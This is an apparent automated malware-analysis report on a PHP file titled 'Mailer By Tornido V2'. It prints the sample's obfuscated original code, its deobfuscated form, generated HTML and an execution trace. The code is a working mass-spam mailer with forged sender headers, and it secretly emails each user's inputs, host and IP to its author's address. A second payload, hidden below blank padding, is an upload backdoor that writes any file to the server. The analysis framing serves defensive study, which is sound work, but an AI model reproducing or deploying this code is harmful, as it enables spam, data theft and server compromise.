mailertornillo.php

md5: 10de1ef5d9dc3ac7d85c5c7a77b882cb

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Emails
Tornido@zakixhack.com (Deobfuscated)
zakiasziko@gmail.com (Deobfuscated)

Encoding
base64_decode (Deobfuscated)

Environment
php_uname (Deobfuscated)
set_time_limit (Deobfuscated)

Execution
eval (HTML, Original)

Files
copy (Deobfuscated)

Input
_FILES (Deobfuscated)
_POST (Deobfuscated, HTML, Original)

Title
Mailer By Tornido V2 (HTML, Original)

Deobfuscated PHP code
<title>Mailer By Tornido V2</title>

<?php 
$de0dd045 = "base64_decode";
@eval /* PHPDeobfuscator eval output */ {
    ignore_user_abort();
    set_time_limit(0);
    function enviando()
    {
        $msg = 1;
        $de[1] = $_POST['de'];
        $nome[1] = $_POST['nome'];
        $assunto[1] = $_POST['assunto'];
        $mensagem[1] = $_POST['mensagem'];
        $mensagem[1] = stripslashes($mensagem[1]);
        $emails = $_POST['emails'];
        $emails2 = htmlspecialchars($_POST['emails']);
        $para = explode("\n", $emails);
        $n_emails = count($para);
        $sv = $_SERVER['SERVER_NAME'];
        $en = $_SERVER['REQUEST_URI'];
        $k88 = @$_SERVER["HTTP_REFERER"];
        $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
        $vai = $_POST['vai'];
        if ($vai) {
            for ($set = 0; $set < $n_emails; $set++) {
                if ($set == 0) {
                    $headers = "MIME-Version: 1.0\r\n";
                    $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                    $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                    $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                    //mail($xsylar, $as, $fullurl, $headers);
                }
                $headers = "MIME-Version: 1.0\r\n";
                $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                $n_mail++;
                $destino = $para[$set];
                $num1 = rand(100000, 999999);
                $num2 = rand(100000, 999999);
                $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
                $msgrand = str_replace("%rand2%", $num2, $msgrand);
                $msgrand = str_replace("%email%", $destino, $msgrand);
                $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
                if ($enviar) {
                    echo '<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>';
                } else {
                    echo '<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>';
                    sleep(1);
                }
            }
        }
    }
    $ip = getenv("REMOTE_ADDR");
    $ra44 = rand(1, 99999);
    $subj98 = "New Mailer l3zzzz {$ip}";
    $email = "zakiasziko@gmail.com";
    $from = "From: ZIKO <Tornido@zakixhack.com>";
    $a45 = $_SERVER['REQUEST_URI'];
    $b75 = $_SERVER['HTTP_HOST'];
    $f12 = $_POST['de'];
    $z13 = $_POST['nome'];
    $x14 = $_POST['assunto'];
    $t15 = $_POST['mensagem'];
    $m30 = $_POST['emails'];
    $m22 = $ip . "\n";
    $msg8873 = "{$a45}\n{$b75}\n{$f12}\n{$z13}\n{$x14}\n{$t15}\n{$m30}\n{$m22}";
    mail($email, $subj98, $msg8873, $from);
};
?>
</title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<center>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><?php 
echo enviando();
?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
  <tr>
<td width="321"><span class="style9">

<label>
<input name="nome" placeholder="Name" type="text" value="<?php 
echo $_POST['nome'];
?>" size="20"  />
</label>
</span></td>
<td><input name="de" placeholder="From" type="text" value="<?php 
echo $_POST['de'];
?>" size="30" /></td>

</tr>
<tr>
<td>
<input name="assunto" placeholder="Subject" value="<?php 
echo $_POST['assunto'];
?>" size="80" />
</td>
</tr>
<td><span class="style5">letter:</span>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span class="style5">mailist:</span></td>

<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7"><?php 
echo stripslashes($_POST['mensagem']);
?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
</center>
<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">       </span>
  <input name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4"></span></td>
</tr>
<tr>
  </tr>
</table>
</form>

<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<?php 
$de0dd045 = "base64_decode";
@eval /* PHPDeobfuscator eval output */ {
    echo "<title>Uploader by ghost-dz</title>";
    echo php_uname();
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
    echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
    if ($_POST['_upl'] == "Upload") {
        if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
            echo "Upload ok :d !!!";
        } else {
            echo "Upload Fail !!!";
        }
    }
};
Execution traces
data/traces/10de1ef5d9dc3ac7d85c5c7a77b882cb_trace-1676253555.6503.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:59:41.548151]
1	0	1	0.000174	393608
1	3	0	0.000232	401344	{main}	1		/var/www/html/uploads/mailertornillo.php	0	0
1	3	1	0.000258	401456
			0.000283	314296
TRACE END   [2023-02-12 23:59:41.548290]

Generated HTML code
<html><head><title>Mailer By Tornido V2</title>

<!--?
$de0dd045="\142\x61\163\145\66\64\x5f\x64\x65\143\x6f\x64\x65";@eval($de0dd045('aWdub3JlX3VzZXJfYWJvcnQoKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZnVuY3Rpb24gZW52aWFuZG8oKXsNCiRtc2c9MTsNCiRkZVsxXSA9ICRfUE9TVFsnZGUnXTsNCiRub21lWzFdID0gJF9QT1NUWydub21lJ107DQokYXNzdW50b1sxXSA9ICRfUE9TVFsnYXNzdW50byddOw0KJG1lbnNhZ2VtWzFdID0gJF9QT1NUWydtZW5zYWdlbSddOw0KJG1lbnNhZ2VtWzFdID0gc3RyaXBzbGFzaGVzKCRtZW5zYWdlbVsxXSk7DQokZW1haWxzID0gJF9QT1NUWydlbWFpbHMnXTsNCiRlbWFpbHMyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2VtYWlscyddKTsNCiRwYXJhID0gZXhwbG9kZSgiXG4iLCAkZW1haWxzKTsNCiRuX2VtYWlscyA9IGNvdW50KCRwYXJhKTsNCiRzdiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KJGVuID0gJF9TRVJWRVIgWydSRVFVRVNUX1VSSSddOw0KJGs4OCA9IEAkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl07DQokZnVsbHVybCA9ICIiIC4gJGs4OCAuICI8YnI+PHA+RW1haWxzOjxicj48VEVYVEFSRUEgcm93cz01IGNvbHM9MTAwPiIuJGVtYWlsczIuIjwvVEVYVEFSRUE+PC9wPjxwPkVuZ2VuaGFyaWE6PGJyPjxURVhUQVJFQSByb3dzPTUgY29scz0xMDA+Ii4kbWVuc2FnZW1bMV0uIjwvVEVYVEFSRUE+PC9wPiI7DQokdmFpID0gJF9QT1NUWyd2YWknXTsNCmlmICgkdmFpKXsNCmZvciAoJHNldD0wOyAkc2V0IDwgJG5fZW1haWxzOyAkc2V0Kyspew0KaWYgKCRzZXQ9PTApew0KJGhlYWRlcnMgPSAiTUlNRS1WZXJzaW9uOiAxLjBcclxuIjsNCiRoZWFkZXJzIC49ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7DQokaGVhZGVycyAuPSAiRnJvbTogJG5vbWVbJG1zZ10gPCRkZVskbXNnXT5cclxuIjsNCiRoZWFkZXJzIC49ICJSZXR1cm4tUGF0aDogPCRkZVskbXNnXT5cclxuIjsNCi8vbWFpbCgkeHN5bGFyLCAkYXMsICRmdWxsdXJsLCAkaGVhZGVycyk7DQp9DQokaGVhZGVycyA9ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KJGhlYWRlcnMgLj0gIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTFcclxuIjsNCiRoZWFkZXJzIC49ICJGcm9tOiAkbm9tZVskbXNnXSA8JGRlWyRtc2ddPlxyXG4iOw0KJGhlYWRlcnMgLj0gIlJldHVybi1QYXRoOiA8JGRlWyRtc2ddPlxyXG4iOw0KJG5fbWFpbCsrOw0KJGRlc3Rpbm8gPSAkcGFyYVskc2V0XTsNCiRudW0xID0gcmFuZCgxMDAwMDAsOTk5OTk5KTsNCiRudW0yID0gcmFuZCgxMDAwMDAsOTk5OTk5KTsNCiRtc2dyYW5kID0gc3RyX3JlcGxhY2UoIiVyYW5kJSIsICRudW0xLCAkbWVuc2FnZW1bJG1zZ10pOw0KJG1zZ3JhbmQgPSBzdHJfcmVwbGFjZSgiJXJhbmQyJSIsICRudW0yLCAkbXNncmFuZCk7DQokbXNncmFuZCA9IHN0cl9yZXBsYWNlKCIlZW1haWwlIiwgJGRlc3Rpbm8sICRtc2dyYW5kKTsNCiRlbnZpYXIgPSBtYWlsKCRkZXN0aW5vLCAkYXNzdW50b1skbXNnXSwgJG1zZ3JhbmQsICRoZWFkZXJzKTsNCmlmICgkZW52aWFyKXsNCmVjaG8gKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPicuICRuX21haWwgLictJy4gJGRlc3Rpbm8gLicgMGshPC9mb250Pjxicj4nKTsNCn0gZWxzZSB7DQplY2hvICgnPGZvbnQgY29sb3I9InJlZCI+Jy4gJG5fbWFpbCAuJy0nLiAkZGVzdGlubyAuJyA9KDwvZm9udD48YnI+Jyk7DQpzbGVlcCgxKTsNCn0NCn0NCn0NCn0NCiRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsNCiRyYTQ0ICA9IHJhbmQoMSw5OTk5OSk7DQokc3Viajk4ID0gIk5ldyBNYWlsZXIgbDN6enp6ICRpcCI7DQokZW1haWwgPSAiemFraWFzemlrb0BnbWFpbC5jb20iOw0KJGZyb209IkZyb206IFpJS08gPFRvcm5pZG9AemFraXhoYWNrLmNvbT4iOw0KJGE0NSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJGI3NSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiRmMTIgPSAkX1BPU1RbJ2RlJ107DQokejEzID0gJF9QT1NUWydub21lJ107DQokeDE0ID0gJF9QT1NUWydhc3N1bnRvJ107DQokdDE1ID0gJF9QT1NUWydtZW5zYWdlbSddOw0KJG0zMCA9ICRfUE9TVFsnZW1haWxzJ107DQokbTIyID0gJGlwLiJcbiI7DQokbXNnODg3MyA9ICIkYTQ1XG4kYjc1XG4kZjEyXG4kejEzXG4keDE0XG4kdDE1XG4kbTMwXG4kbTIyIjsNCm1haWwoJGVtYWlsLCAkc3Viajk4LCAkbXNnODg3MywgJGZyb20pOw=='));
?-->

<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
</head><body><center>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><!--? echo enviando(); ?--></span>
<table width="415" height="334" border="0" bgcolor="#000000">
  <tbody><tr>
<td width="321"><span class="style9">

<label>
<input name="nome" placeholder="Name" type="text" value="<? echo $_POST['nome'] ;?>" size="20">
</label>
</span></td>
<td><input name="de" placeholder="From" type="text" value="<? echo $_POST['de'] ;?>" size="30"></td>

</tr>
<tr>
<td>
<input name="assunto" placeholder="Subject" value="<? echo $_POST['assunto'] ;?>" size="80">
</td>
</tr>
<tr><td><span class="style5">letter:</span>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<span class="style5">mailist:</span></td>

<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7">&lt;? echo stripslashes($_POST['mensagem']);?&gt;
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>

<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">       </font></span><font color="red" size="4">
  <input name="Submit" type="submit" value="Send ">
  <span class="style5"><font color="red" size="4"></font></span></font></td>
</tr>
<tr>
  </tr>
</tbody></table>
</form>

<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<!--?
$de0dd045="\142\x61\163\145\66\64\x5f\x64\x65\143\x6f\x64\x65";@eval($de0dd045('ZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCJNTC9FRjhaalJabnNVcmsvaFZNT0phUVpTMTlwWjNra1ZOdFgwNnFFRmdueEFjdDBiSDJSR2luL3psamdUL2MycTkNCi9paWgrQkk0MFRhU2d1V3E5OFRYeGM0azBwT2l1ZnFUK0s3V3ZpYmJvSzhreENmVHlaNklkZHJXY0FWNW1LaHlBTlhsZzBGa05Qa0oyd1RIVVRybFF0b0pIVWpqeUZHeWN1blRxS3RJOGxudnpQTFJKDQpEVDZaRVBVb0lLSldrWXlld1lSRmFKeHQrZXBuNlMwcXMzOSt1bUR1VGZzRUpuU21kM0hSV1RrQ3YvV2dYNTRLNGc5ODgzM0tCU1VIWHYvWWdxc3IrazRVU09FTlBSanhNL1prYUFrNTZlWURNMHhKNQ0Kc0s1NTJoMWtoTkhLcjJsSVhwWk9oWXZTczJWSFpoOE84b0tiUGliWVV1dHhGTFlLcENZMktDbzhZN0J5RHk2RDBsOD0iKSkpKTsg'));
?--></center></body></html>
Original PHP code
<title>Mailer By Tornido V2</title>

<?
$de0dd045="\142\x61\163\145\66\64\x5f\x64\x65\143\x6f\x64\x65";@eval($de0dd045('aWdub3JlX3VzZXJfYWJvcnQoKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZnVuY3Rpb24gZW52aWFuZG8oKXsNCiRtc2c9MTsNCiRkZVsxXSA9ICRfUE9TVFsnZGUnXTsNCiRub21lWzFdID0gJF9QT1NUWydub21lJ107DQokYXNzdW50b1sxXSA9ICRfUE9TVFsnYXNzdW50byddOw0KJG1lbnNhZ2VtWzFdID0gJF9QT1NUWydtZW5zYWdlbSddOw0KJG1lbnNhZ2VtWzFdID0gc3RyaXBzbGFzaGVzKCRtZW5zYWdlbVsxXSk7DQokZW1haWxzID0gJF9QT1NUWydlbWFpbHMnXTsNCiRlbWFpbHMyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2VtYWlscyddKTsNCiRwYXJhID0gZXhwbG9kZSgiXG4iLCAkZW1haWxzKTsNCiRuX2VtYWlscyA9IGNvdW50KCRwYXJhKTsNCiRzdiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KJGVuID0gJF9TRVJWRVIgWydSRVFVRVNUX1VSSSddOw0KJGs4OCA9IEAkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl07DQokZnVsbHVybCA9ICIiIC4gJGs4OCAuICI8YnI+PHA+RW1haWxzOjxicj48VEVYVEFSRUEgcm93cz01IGNvbHM9MTAwPiIuJGVtYWlsczIuIjwvVEVYVEFSRUE+PC9wPjxwPkVuZ2VuaGFyaWE6PGJyPjxURVhUQVJFQSByb3dzPTUgY29scz0xMDA+Ii4kbWVuc2FnZW1bMV0uIjwvVEVYVEFSRUE+PC9wPiI7DQokdmFpID0gJF9QT1NUWyd2YWknXTsNCmlmICgkdmFpKXsNCmZvciAoJHNldD0wOyAkc2V0IDwgJG5fZW1haWxzOyAkc2V0Kyspew0KaWYgKCRzZXQ9PTApew0KJGhlYWRlcnMgPSAiTUlNRS1WZXJzaW9uOiAxLjBcclxuIjsNCiRoZWFkZXJzIC49ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7DQokaGVhZGVycyAuPSAiRnJvbTogJG5vbWVbJG1zZ10gPCRkZVskbXNnXT5cclxuIjsNCiRoZWFkZXJzIC49ICJSZXR1cm4tUGF0aDogPCRkZVskbXNnXT5cclxuIjsNCi8vbWFpbCgkeHN5bGFyLCAkYXMsICRmdWxsdXJsLCAkaGVhZGVycyk7DQp9DQokaGVhZGVycyA9ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KJGhlYWRlcnMgLj0gIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTFcclxuIjsNCiRoZWFkZXJzIC49ICJGcm9tOiAkbm9tZVskbXNnXSA8JGRlWyRtc2ddPlxyXG4iOw0KJGhlYWRlcnMgLj0gIlJldHVybi1QYXRoOiA8JGRlWyRtc2ddPlxyXG4iOw0KJG5fbWFpbCsrOw0KJGRlc3Rpbm8gPSAkcGFyYVskc2V0XTsNCiRudW0xID0gcmFuZCgxMDAwMDAsOTk5OTk5KTsNCiRudW0yID0gcmFuZCgxMDAwMDAsOTk5OTk5KTsNCiRtc2dyYW5kID0gc3RyX3JlcGxhY2UoIiVyYW5kJSIsICRudW0xLCAkbWVuc2FnZW1bJG1zZ10pOw0KJG1zZ3JhbmQgPSBzdHJfcmVwbGFjZSgiJXJhbmQyJSIsICRudW0yLCAkbXNncmFuZCk7DQokbXNncmFuZCA9IHN0cl9yZXBsYWNlKCIlZW1haWwlIiwgJGRlc3Rpbm8sICRtc2dyYW5kKTsNCiRlbnZpYXIgPSBtYWlsKCRkZXN0aW5vLCAkYXNzdW50b1skbXNnXSwgJG1zZ3JhbmQsICRoZWFkZXJzKTsNCmlmICgkZW52aWFyKXsNCmVjaG8gKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPicuICRuX21haWwgLictJy4gJGRlc3Rpbm8gLicgMGshPC9mb250Pjxicj4nKTsNCn0gZWxzZSB7DQplY2hvICgnPGZvbnQgY29sb3I9InJlZCI+Jy4gJG5fbWFpbCAuJy0nLiAkZGVzdGlubyAuJyA9KDwvZm9udD48YnI+Jyk7DQpzbGVlcCgxKTsNCn0NCn0NCn0NCn0NCiRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsNCiRyYTQ0ICA9IHJhbmQoMSw5OTk5OSk7DQokc3Viajk4ID0gIk5ldyBNYWlsZXIgbDN6enp6ICRpcCI7DQokZW1haWwgPSAiemFraWFzemlrb0BnbWFpbC5jb20iOw0KJGZyb209IkZyb206IFpJS08gPFRvcm5pZG9AemFraXhoYWNrLmNvbT4iOw0KJGE0NSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJGI3NSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiRmMTIgPSAkX1BPU1RbJ2RlJ107DQokejEzID0gJF9QT1NUWydub21lJ107DQokeDE0ID0gJF9QT1NUWydhc3N1bnRvJ107DQokdDE1ID0gJF9QT1NUWydtZW5zYWdlbSddOw0KJG0zMCA9ICRfUE9TVFsnZW1haWxzJ107DQokbTIyID0gJGlwLiJcbiI7DQokbXNnODg3MyA9ICIkYTQ1XG4kYjc1XG4kZjEyXG4kejEzXG4keDE0XG4kdDE1XG4kbTMwXG4kbTIyIjsNCm1haWwoJGVtYWlsLCAkc3Viajk4LCAkbXNnODg3MywgJGZyb20pOw=='));
?>
</title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<center>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><? echo enviando(); ?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
  <tr>
<td width="321"><span class="style9">

<label>
<input name="nome" placeholder="Name" type="text" value="<? echo $_POST['nome'] ;?>" size="20"  />
</label>
</span></td>
<td><input name="de" placeholder="From" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td>

</tr>
<tr>
<td>
<input name="assunto" placeholder="Subject" value="<? echo $_POST['assunto'] ;?>" size="80" />
</td>
</tr>
<td><span class="style5">letter:</span>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span class="style5">mailist:</span></td>

<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
</center>
<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">       </span>
  <input name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4"></span></td>
</tr>
<tr>
  </tr>
</table>
</form>

<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<?
$de0dd045="\142\x61\163\145\66\64\x5f\x64\x65\143\x6f\x64\x65";@eval($de0dd045('ZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCJNTC9FRjhaalJabnNVcmsvaFZNT0phUVpTMTlwWjNra1ZOdFgwNnFFRmdueEFjdDBiSDJSR2luL3psamdUL2MycTkNCi9paWgrQkk0MFRhU2d1V3E5OFRYeGM0azBwT2l1ZnFUK0s3V3ZpYmJvSzhreENmVHlaNklkZHJXY0FWNW1LaHlBTlhsZzBGa05Qa0oyd1RIVVRybFF0b0pIVWpqeUZHeWN1blRxS3RJOGxudnpQTFJKDQpEVDZaRVBVb0lLSldrWXlld1lSRmFKeHQrZXBuNlMwcXMzOSt1bUR1VGZzRUpuU21kM0hSV1RrQ3YvV2dYNTRLNGc5ODgzM0tCU1VIWHYvWWdxc3IrazRVU09FTlBSanhNL1prYUFrNTZlWURNMHhKNQ0Kc0s1NTJoMWtoTkhLcjJsSVhwWk9oWXZTczJWSFpoOE84b0tiUGliWVV1dHhGTFlLcENZMktDbzhZN0J5RHk2RDBsOD0iKSkpKTsg'));
?>
PHP Malware Analysis

mailertornillo.php

md5: 10de1ef5d9dc3ac7d85c5c7a77b882cb

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
